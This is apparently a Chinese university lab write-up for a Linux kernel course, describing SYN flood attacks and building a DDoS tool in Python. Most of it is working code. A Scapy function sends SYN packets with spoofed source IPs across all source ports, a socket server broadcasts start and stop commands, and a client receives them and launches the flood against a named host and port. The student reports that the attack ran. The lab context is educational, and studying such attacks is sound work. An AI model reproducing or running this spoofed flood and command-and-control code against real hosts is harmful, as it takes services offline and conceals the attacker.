这个作业属于哪个课程 | <2020-2021-1Linux内核原理与分析)> |
---|---|
这个作业要求在哪里 | <2020-2021-1Linux内核原理与分析第十二周作业> |
这个作业的目标 | 学习使用python进行DDOS攻击 |
作业正文 | https://www.cnblogs.com/mazhuhong/p/14146116.html |
实验内容:python实现DDos攻击
本次实验将使用 python3 版本的 Scapy--Scapy3k 来实现一个简单的 DDos
实验步骤:
1.实验知识:
SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的 Tcp 连接请求,使被攻击主机资源耗尽(通常是 CPU 满负荷或者内存不足) 的攻击方式。
我们都知道建立 Tcp 连接需要完成三次握手。正常情况下客户端首先向服务端发送SYN报文,随后服务端回以 SYN+ACK 报文到达客户端,最后客户端向服务端发送 ACK 报文完成三次握手。
而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理 TCP 请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定的时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务。
2.实验准备
Scapy3k其实就是Scapy的 Python3 版本,。Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试中应用非常广泛。Scapy是一个独立的程序同时还可以作为 Python 的第三方库使用。
先在实验环境中安装Scapy3k:
sudo pip3 install scapy-python3==0.18
我们构造了一个 IP 包和 TCP 包并将它们组合到一块,这样就有了一个完整的 TCP 数据包,否则是无法发送出去的。IP 包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,当然这也是 DoS 攻击中保护攻击者的一种方式。flags的值我们设定为S,说明我们要发送的是SYN数据包。非常简短的一段指令就构造了一个伪造了源 IP 地址的SYN数据包,构造了我们想要的数据包,我们把它发送出去:
接下来导入scapy包:
from scapy.all import *
在上面之前我们已经构造过了SYN数据包,现在我们需要实现随机伪造源 IP 地址、以及以不同的源端口向目标主机发送SYN数据包:
import random
from scapy.all import *
def synFlood(tgt,dPort):
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
在代码中定义了srcList用于存放伪造的 IP 地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造 TCP 数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。调用random.randrange()函数来随机从srcList中获取一个伪造的 IP 地址。
3.通过SYN泛洪攻击结合Socket实现DDoS攻击。:
我们已经实现了SYN泛洪攻击,而DDoS则是多台主机一起发起攻击,我们只需要能发送命令,让连接到服务器的客户端一起向同一目标发起攻击就可以了。LOIC有个HIVEMIND模式,用户可以通过连接到一台IRC服务器,当有用户发送命令,任何以HIVEMIND模式连接到IRC服务器的成员都会立即攻击该目标。这种方式的优点是不需要傀儡机,可以有很多“志同道合”的人一起帮助你实现DDoS,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里将采用客户端、服务器的方式来实现DDoS,这种方式非常简单,可扩展性也比较强。
在 /home/shiyanlou/ 目录下新建 DDOS 文件夹,并在文件夹中新建 ddosSrv.py 文件作为Server端,向其中添加如下代码:
import socket
import argparse
from threading import Thread
socketList = []
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
#发送命令
def sendCmd(cmd):
print('Send command......')
for sock in socketList:
sock.send(cmd.encode('utf-8'))
#等待连接
def waitConnect(s):
while True:
sock,addr = s.accept()
if sock not in socketList:
socketList.append(sock)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))
t.start()
print('Wait at least a client connection!')
while not len(socketList):
pass
print('It has been a client connection!')
while True:
print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
#等待输入命令
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
if __name__ == '__main__':
main()
在 /home/shiyanlou/DDOS 目录下新建 ddosCli.py 文件作为Client端,向其中添加如下代码:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
isWorking = False
curProcess = None
#SYN泛洪攻击
def synFlood(tgt,dPort):
print('='*100)
print('The syn flood is running!')
print('='*100)
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'
#处理命令
def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
#解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
#DDoS启动命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start()
curProcess = p
#DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')
def main():
#添加需要解析的命令
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
#创建socket对象
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接到服务器端
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print("=" * 40)
#处理命令
cmdHandle(s,p)
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)
if __name__ == '__main__':
main()
运行客户端和服务器脚本:
可以看到已经开始攻击了
4.实验总结:
通过这次实验我掌握了基于Scapy DDoS攻击的实现方法, 了解学习了:
使用Scapy实现SYN数据包
Python中argparse的用法
Python中socket的用法
使用socket实现客户端与服务器